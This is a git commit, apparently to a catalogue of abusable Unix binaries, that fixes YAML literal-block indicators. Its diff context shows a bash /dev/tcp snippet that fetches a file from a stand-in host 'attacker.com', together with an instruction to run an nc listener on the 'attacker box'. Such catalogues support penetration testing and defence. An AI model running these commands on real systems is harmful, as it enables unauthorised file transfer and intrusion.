Fix YAML literal blocks

This commit is contained in:
Andrea Cardaci
2018-06-01 12:40:05 +02:00
parent b96f6e9a49
commit 5a1c87e7c5
8 changed files with 58 additions and 21 deletions

View File

@@ -29,7 +29,7 @@ functions:
3<>/dev/tcp/$RHOST/$RPORT \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
code: |-
code: |
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get